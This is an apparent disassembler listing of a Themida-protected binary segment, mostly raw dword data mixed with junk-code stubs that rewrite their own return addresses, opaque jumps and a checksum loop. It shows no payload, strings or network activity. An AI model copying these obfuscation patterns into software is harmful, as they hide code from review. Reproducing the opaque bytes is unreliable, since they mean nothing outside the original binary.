dd 13E9h, 21AC0B00h, 0A9AC5362h, 0E25C0D3Fh, 0ADF7E0Fh
dd 0FCADC123h, 0AE9h, 47320800h, 0A7DCCEEBh, 21DD1C1Eh
dd 1504E18Dh, 2820F06h, 0B7000000h, 8D8D21C8h, 0F061510h
dd 148Dh, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h
dd 519D291Eh, 8B06152Ch, 1504E18Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858B754Eh
dd 6151911h, 0F01E183h, 685h, 0E59D8B00h, 8B061518h, 15108D8Dh
dd 0BD8D8906h, 83061517h, 850F01E1h, 6, 3198D281h, 60617829h
dd 1769BD8Bh, 0FEB90615h, 89FFFFFFh, 1510C98Dh, 158D2106h
dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0D413C351h, 0E0BD3F19h, 0D9318C0Fh
dd 136DBD33h, 8D210615h
dd 6151079h, 80C68B66h, 8D8B23F7h, 6152715h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 31C35545h, 0C739F192h
dd 89FADEE6h, 152F5595h, 98BF6606h, 11E856h, 1B610000h
dd 3309D6A3h, 8E637AF0h, 4685336Ch, 893821E2h, 152E5DBDh
dd 0E1835806h, 24850F01h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC53C353h
dd 66B00790h, 8B0C38BBh, 1510798Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 874F59BDh
dd 0D9A354C7h, 0E890FB7h, 60000000h, 2555B589h, 950B0615h
dd 6152925h, 0E59D8B61h, 6006151Dh, 8215BE66h, 68B0Fh
dd 9D2B0000h, 615301Dh, 1E18361h, 2A850Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 5298FDC3h, 7DBB918Bh, 0B58B9E6Bh, 6150D8Dh, 6A6061h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0CB6827C3h, 0B9BAB0FCh, 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 64C35242h, 3D55524Ah, 8D21F0FCh
dd 615079Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 52C35545h, 134E09Ch, 150CE585h, 698D2106h, 29061511h
dd 1506D99Dh, 9D8D8B06h, 0B4061507h, 1E183C4h, 34850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 50D814C3h, 0FE8h
db 0
; ---------------------------------------------------------------------------
loc_5BCFA1: ; DATA XREF: Themida_:0057B204o
add dh, ah
mov dl, 0C9h
mov ecx, 3ED73758h
jg short near ptr loc_5BCFCA+3
mov bl, 0FEh
imul esi, [eax-7274A1A1h], 6151169h
xor [ebp+61517D5h], edi
and ecx, 1
jnz loc_5BCFF8
push 0
push edx
loc_5BCFCA: ; CODE XREF: Themida_:005BCFAAj
call sub_5BCFD2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCFD2 proc near ; CODE XREF: Themida_:loc_5BCFCAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5BCFD2 endp
; ---------------------------------------------------------------------------
dw 0B4DEh
; ---------------------------------------------------------------------------
aaa
adc edi, [edx+172D9589h]
adc eax, 0E4A6BF06h
sub al, 19h
mov edi, [ebp+6152F0Dh]
loc_5BCFF8: ; CODE XREF: Themida_:005BCFC1j
popa
pusha
push 0
push ebx
call sub_5BD005
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BD005 proc near ; CODE XREF: Themida_:005BCFFDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5BD005 endp
; ---------------------------------------------------------------------------
jz short loc_5BD031
mov [ebp+6150211h], esi
mov ecx, 0FFFFFFFEh
xor esi, 10C58671h
and [ebp+61515E5h], ecx
push 0
push edx
loc_5BD031: ; CODE XREF: Themida_:005BD015j
call sub_5BD039
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BD039 proc near ; CODE XREF: Themida_:loc_5BD031p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5BD039 endp
; ---------------------------------------------------------------------------
db 40h, 3Dh, 79h
; ---------------------------------------------------------------------------
pushf
jmp loc_5BD058
; ---------------------------------------------------------------------------
sbb al, 5Eh
sub dh, 60h
inc edi
loc_5BD058: ; CODE XREF: Themida_:005BD04Dj
and [ebp+6152871h], ecx
push 0
push ebp
call sub_5BD069
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BD069 proc near ; CODE XREF: Themida_:005BD061p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BD069 endp
; ---------------------------------------------------------------------------
db 56h, 94h, 9Bh
dd 891AA09Ah, 1528F58Dh, 0E58D8B06h, 8B061515h, 1501A995h
dd 1E18306h, 25850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 7DB97C3h, 0CDC0F715h
dd 8BFDBB11h, 1528718Dh, 83D18B06h, 850F01E1h, 3, 61D3BF0Fh
dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0C1E96FA0h, 0F4809C3Bh, 0AD85C73Bh, 0D0061508h
dd 6A000007h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0FC9C357h, 17BF15DFh, 8B17C280h
dd 6A61C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0E4ADB9C3h, 9D6107EBh, 0E9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 762D75FEh, 0BBB57C8h, 6A3B0Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0B9001DC3h, 0D5A73991h
dd 25BE6641h, 60C18BC4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0F8C35242h, 0BEDBD0BFh, 8BCCA76Ah, 56006AC0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 90490A8Dh, 83B5179Ah, 1508F5BDh, 9750006h, 3ADBD83h
dd 74000615h, 8B535019h, 438B8C0h, 85890000h, 6151385h
dd 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
dd 438B853h, 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h
dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 0F4C767C3h, 89ADE4A1h, 152E99BDh, 259D0106h
dd 8B06150Ch, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 85011F2Ah, 6152F9Dh, 1949BD8Bh, 5E80615h
dd 89000009h, 15178595h, 45858906h, 6A06151Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0F5DC352h, 0BD8BF1B7h, 615346Dh, 8CFE8h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0B3403FBh, 5CD33392h, 5820F88h, 0B9000000h, 737F6F80h
dd 89FFB70Fh, 152F5985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8D89C822h, 61524CDh, 86FE8h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 17526C7Fh, 2E58D29h, 85890615h, 6152E0Dh
dd 2A8DBD29h, 39E80615h, 29000008h, 151E6D95h, 95858906h
dd 29061505h, 15249185h, 822E806h, 0CE90000h, 9A000000h
dd 8C5858C4h, 0DAC3D308h, 8958F6DFh, 152D1985h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 1709120Eh, 7E6E8FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 344D4CC3h, 278B586Dh
dd 10E985D6h, 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h
dd 89A72B5Bh, 1510F185h, 0ED8D8906h, 0E8061500h, 79Ch
dd 0C76AB953h, 895E11C6h, 1533ED85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A8587421h
dd 0C1B9D08Dh, 0A3D781EBh, 0E85830F7h, 760h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ABC35141h, 7BBE66B9h
dd 118D8B34h, 89061508h, 1502B585h, 0BE806h, 1CC60000h
dd 2B76CEE5h, 60DBE2F0h, 0F19D89AAh, 59061517h, 717E8h
dd 0AE900h, 42B30000h, 0B4D4404Ah, 987D16E5h, 23E18589h
dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 66500FC3h, 5EFCA7BEh, 6DBE8h, 13E900h, 0B2770000h
dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h, 218589C2h
dd 8B061529h, 1501A9BDh, 6B2E806h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2939A7C3h
dd 152A9985h, 39858906h, 6A061523h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3733C350h
dd 51640F48h, 8B1D9115h, 152B35BDh, 65AE806h, 0BD8B0000h
dd 6151165h, 33758589h, 8D8B0615h, 6152565h, 643E8h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 3E73082Ch, 0CB56F263h, 6650DAD2h, 895FF78Bh, 15000985h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0BE740B3h, 0EE83387h, 95000000h, 840D57CAh
dd 23973122h, 0C287A43Ch, 0FABF0F24h, 5D6E85Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 3EFD42C3h, 0E960CCC5h, 7, 0EC4FB834h, 518C07CCh, 0B58B6159h
dd 6150DC9h, 2CBD8589h, 0DE80615h, 67000000h, 48D63052h
dd 8EB1E864h, 414DD3F2h, 27E9B533h, 0E85E0615h, 57Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h, 76EC99B1h
dd 0F3B70F49h, 2A498589h, 830F0615h, 5, 9253A2BEh, 542E815h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 296EDBC3h, 0F5931228h, 8589D2B1h, 61533A9h
dd 810FF560h, 5, 72C231BEh, 0B06178h, 0FCB8B66h, 0B58BD8B6h
dd 61514F1h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 27192C24h, 0A37C97C4h
dd 18D0F41h, 0F5000000h, 8D89C38Bh, 6150E09h, 6A04E8C1h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0DB06C350h, 710FFBC4h, 0E2F766F9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F6C35242h, 0BC66E304h
dd 11E948h, 0CBB30000h, 86BD9D59h, 2BB5C5F1h, 79305B69h
dd 2B5F2549h, 83EF81D8h, 5052C304h, 6E95360h, 0F9000000h
dd 22BB1079h, 1FB85BCEh, 617CF77Ah, 89241C89h, 15091D9Dh
dd 0A195FF06h, 6A061518h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 2060C353h, 1D987E5Eh
dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BD8B3DBBh
dd 6151411h, 64602FB9h, 6A5B11h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0C7F997C3h, 50600126h
dd 8DA63B03h, 1527D995h, 65958906h, 89061509h, 51006A1Ah
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 49DF13CAh, 6D289A93h, 0F1CB8160h, 8A3AEA3Ah, 428961CEh
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0BF2C42B5h, 8BA8F3E4h, 15286DBDh, 9D858906h
dd 8D061506h, 151D9195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 6A71C75Ah, 0F363440h
dd 58Ch, 0EF816600h, 1A89A7FBh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 66C35646h
dd 11E9h, 47EC7800h, 0B3A19DF5h, 55F49B7Eh, 5750146Fh
dd 42897353h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0A23BBF49h, 9589671Dh, 61507D9h
dd 278D958Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 11B302C3h, 0EFB47661h, 0F88B666Ah
dd 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 96E06EC3h, 0BF48190h, 89F81AD2h, 6A0442h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 89C339C3h, 151359BDh, 45952906h, 8D06152Bh, 1519D195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 755FCDEEh, 8C0Fh, 1A890000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5DC35747h, 6EB1C880h
dd 89CBBF0Fh, 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 135C2CC3h, 7AF74F49h, 9D958D30h
dd 6A061505h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0A78DC351h, 4586C9E9h, 1A89BD92h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A8C35646h
dd 847119BEh, 668E8C96h, 89B6A4BFh, 6A0442h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 3151ADC3h
dd 1505DDBDh, 958D5E06h, 6152C69h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0EAC35040h, 0BD1DF00Ch, 0F31FC306h
dd 6A1A89FCh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 19E9C355h, 4659C27Ah, 1DD1B501h
dd 42890615h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8F0FC85Bh, 6, 379BD09h, 958D0615h
dd 61519C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 66C35343h, 8932F55Ah, 51006A1Ah, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 13135E8Fh
dd 0CA8BA676h, 6A044289h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0C216C352h, 0FC7A05Dh
dd 80h, 8D958D00h, 6A06150Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 20E7C353h, 0AC1AFCDFh
dd 6890Fh, 8D890000h, 6151119h, 8C0F1A89h, 6, 6999509h
dd 42890615h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 0AC79ADACh, 1871456Fh, 8D03B864h
dd 6152E15h, 0BBE9h, 0F1BF0F00h, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 6AA8C3h, 115D8D8Bh
dd 6A0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 46C35646h, 0C1BD0198h, 6A061522h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0FF8C5C77h, 15339D95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A640EC23h
dd 0B96617AAh, 6AC3D392h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 6694C353h, 3DB5DF6Fh
dd 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 950131C3h, 615284Dh, 84C78166h, 6AC08BA5h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 4B4FC356h, 0A6DBE94h, 0F681AC29h, 660188FBh
dd 8F5BD83h, 75000615h, 0ADBD8309h, 61503h, 53501974h
dd 38B8C08Bh, 89000004h, 1502A185h, 59D8D06h, 0FF0617ABh
dd 83585BD3h, 1503ADBDh, 17740006h, 38B85350h, 89000004h
dd 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 979C356h, 0F88C04Ch, 587h, 0E9816600h, 820F2282h, 15h
dd 10E9h, 792F3F00h, 8BE9A93Eh, 0C345F106h, 74AF2D24h
dd 8DC08B3Eh, 15279D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0EDE4E18Dh, 431E84B9h
dd 0BB57A1B7h, 70A8632Fh, 0DF8B505Bh, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0E521C357h, 4999D89h, 6A0615h, 209D9D8Bh, 6A0615h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 0F6FD4A91h
dd 1185892Eh, 8D061510h, 1944B485h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8B6679E9h
dd 0A1BD23DEh, 83061519h, 11E805C0h, 6D000000h, 63A8FE90h
dd 370EFAB4h, 54C5163Dh, 8E257A9h, 0EAA0BF66h, 6057505Bh
dd 310F5250h, 0C18B585Ah, 4895F61h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 5A86B4DFh
dd 0CCFECC15h, 8B006A99h, 1500E19Dh, 8B006A06h, 1519D99Dh
dd 7995FF06h, 0E9061526h, 11h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh
dd 7766EC69h, 158D8D8Ah, 8B06189Ch, 57D1FFFAh, 8758589h
dd 835F0615h, 152DB5BDh, 850F0106h, 5Bh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 9A0A4486h
dd 9D8B5519h, 615343Dh, 179DBD8Bh, 26A0615h, 10E9h, 6D82D700h
dd 256A44E6h, 5EDB8F2h, 4904846Fh, 8B6650DAh, 240489DEh
dd 0FFDF8B66h, 151D4D95h, 95858906h, 0E9061507h, 0E8Eh
dd 0E8h, 0ED815D00h, 61944BEh, 66DFB660h, 2192E081h, 56006A61h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0F5E6BC84h, 440AB6F6h, 88F9858Dh, 6A0618h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 6E0861C3h
dd 0F5BAD0F8h, 0FB8B6690h, 13890F50h, 0E9000000h, 0Eh
dd 0F8EB093Eh, 7175EAA7h, 5D79DCA8h, 6A902B25h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0D397C350h, 0CC37C740h, 32D8B560h, 3BD3DF81h, 64FC38BDh
dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 8166C9C3h, 648467C7h, 2589h, 85890000h
dd 6150591h, 0D3F9F781h, 85FF1C2Bh, 6151535h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A7C35141h, 6A7302A3h
dd 0F1BB66FFh, 5D5BBB77h, 0B5FF5D4Fh, 6151D45h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 28C35242h, 37F18811h
dd 3C8C0C46h, 5BD2351h, 5F061510h, 8BD95FFh, 11E90615h
dd 81000001h, 13AD0FEFh, 0B0FC12h, 0E6F9BF0Fh, 0DBBF0F70h
dd 8B6671E4h, 0F613CFBh, 0F383h, 5E900h, 0E8D60000h, 0FC27463h
dd 9D0BC8B6h, 6151D19h, 6BAh, 8589FC00h, 6150461h, 9589C18Bh
dd 61510C9h, 8904E8C1h, 150A85BDh, 0E2F76606h, 9E9h, 0E9DBF100h
dd 0A12009E5h, 0C82B4F58h, 0DB9BD89h, 0D18B0615h, 0DE9h
dd 0C327AE00h, 76D0E4CEh, 7E233955h, 6E9DD8Bh, 1000000h
dd 1522F185h, 0D9858B06h, 0F061527h, 682h, 0D18D8900h
dd 0E9061526h, 0Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h, 83B439ECh
dd 0FB8B07C0h, 8100C083h, 166B65C3h, 0FD03B59h, 1183h
dd 819D8B00h, 0E9061528h, 44h, 3445BD8Bh, 8D8B0615h, 615079Dh
dd 33F99D89h, 0E1830615h, 29840F01h, 0E9000000h, 0Ah, 0EA474BC0h
dd 0F5162D95h, 0A58335A6h, 615079Dh, 89FA8AFEh, 1527D995h
dd 85B50906h, 0E9061503h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+618D834h]
or [ebp+6153415h], edi
push 0
jb loc_5BE166
mov edi, [ebp+61510FDh]
loc_5BE166: ; CODE XREF: Themida_:005BE15Aj
call dword ptr [ebp+6152E21h]
push 0
push ecx
call sub_5BE177
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE177 proc near ; CODE XREF: Themida_:005BE16Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BE177 endp
; ---------------------------------------------------------------------------
dec ecx
sub al, 8Ch
fdivr qword ptr ds:554D1FFDh
mov edi, 0EBA733Dh
sub [ebp+61527ADh], ecx
mov ecx, 7AAh
push 0
push ebp
call sub_5BE1AB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE1AB proc near ; CODE XREF: Themida_:005BE1A3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5BE1AB endp
; ---------------------------------------------------------------------------
push ss
retf
; ---------------------------------------------------------------------------
adc al, [ecx+edi*8+640941A6h]
fisttp dword ptr [ebx+1510F59Dh]
push es
jl loc_5BE1D6
mov ebx, 0C3CFAF8h
loc_5BE1D6: ; CODE XREF: Themida_:005BE1CBj
and ecx, 0FFFFFFFCh
jmp loc_5BE1EA
; ---------------------------------------------------------------------------
dw 1A8Fh
dd 3495DB3Dh, 2D523235h
db 5Dh, 0B1h
; ---------------------------------------------------------------------------
loc_5BE1EA: ; CODE XREF: Themida_:005BE1D9j
cld
call sub_5BE202
sbb eax, 0A7246D88h
push esi
db 36h
wait
or al, 53h
setalc
cmp esi, ebp
; ---------------------------------------------------------------------------
db 8Dh, 0C6h, 0E9h
db 0FAh, 0E1h
; =============== S U B R O U T I N E =======================================
sub_5BE202 proc near ; CODE XREF: Themida_:005BE1EBp
mov ebx, [ebp+6151555h]
pop edi
sub eax, eax
mov [ebp+6151A55h], ebx
sub edx, edx
push 0
push edi
call sub_5BE21E
and [edi-3Dh], bl
sub_5BE202 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BE21E proc near ; CODE XREF: sub_5BE202+14p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BE21E endp
; ---------------------------------------------------------------------------
mov ah, bh
loc_5BE230: ; CODE XREF: Themida_:005BE235j
mov ch, 55h
inc esi
mov dl, 0F3h
db 3Eh
jecxz short loc_5BE230
loc_5BE238: ; CODE XREF: Themida_:005BE242j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5BE238
push 0
push ebp
call sub_5BE24F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE24F proc near ; CODE XREF: Themida_:005BE247p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5BE24F endp
; ---------------------------------------------------------------------------
db 24h
dd 74C13858h, 9D8B0FB8h, 6152235h, 7BB5BF66h, 880Dh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 958B4CB9h, 6152721h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 5EC35747h, 4356BAD4h, 9CCEAB7Eh, 8F0Fh
dd 8D8B0000h, 61504CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 80C35747h, 0D5BB66F8h, 0C28B50F1h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80DCC357h
dd 6A3EE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0B3928BC3h, 0C7A169A1h, 5850F5Eh, 66000000h
dd 538AEB81h, 2F49BD01h, 860F0615h, 10h, 0BE9h, 1714C400h
dd 15FF9BFh, 0C4C6BE9Fh, 18A9BD83h, 0F000615h, 9084h, 799D8B00h
dd 0B806150Dh, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BE387
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE387 proc near ; CODE XREF: Themida_:005BE37Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BE387 endp
; ---------------------------------------------------------------------------
push ebx
dec byte ptr [ecx]
sub di, 6B8Dh
mov ebx, edi
xor di, 0A81Bh
lea ecx, [ebp+6154F9Eh]
push 0
push edi
call sub_5BE3B7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE3B7 proc near ; CODE XREF: Themida_:005BE3AFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5BE3B7 endp
; ---------------------------------------------------------------------------
or eax, 57922707h
jo loc_5BE3D8
mov [ebp+6152725h], ebx
loc_5BE3D8: ; CODE XREF: Themida_:005BE3CCj
mov [ebp+6150A81h], edx
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BE3EB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE3EB proc near ; CODE XREF: Themida_:005BE3E3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BE3EB endp
; ---------------------------------------------------------------------------
mov eax, ds:8B6698C8h
fld dword ptr [ebx+151115BDh]
push es
add [edi], cl
test ds:6A0000h[eax], bl
push ebp
call sub_5BE419
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE419 proc near ; CODE XREF: Themida_:005BE411p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BE419 endp
; ---------------------------------------------------------------------------
db 47h, 7Fh, 0B0h
dd 19E744Fh, 0BD838CA8h, 6151115h, 6840F01h, 6A000005h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8BD8C357h, 1526859Dh, 15BD8306h, 3061511h
dd 4A1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0D9E698C3h, 699D011Ch, 0E8061527h
dd 6, 4790AC6Ch, 0BF0F2A99h, 0E9605BD8h, 9, 3BC7B42Eh
dd 5EB7F26Ah, 0D98C664Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 6DC35141h, 0AD950975h, 80061510h, 6A04E1h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0C90A8CC3h, 1AD840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0A28F1C3h, 0E9304086h
dd 0Ch, 5335B7EFh, 32F05B29h, 0E2441EDFh, 249D858Bh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 907979C3h, 68D0Fh, 0F7810000h, 5C3D8D46h, 19B58533h
dd 8E90615h, 0F000000h, 37AD0A09h, 50908792h, 89F98B66h
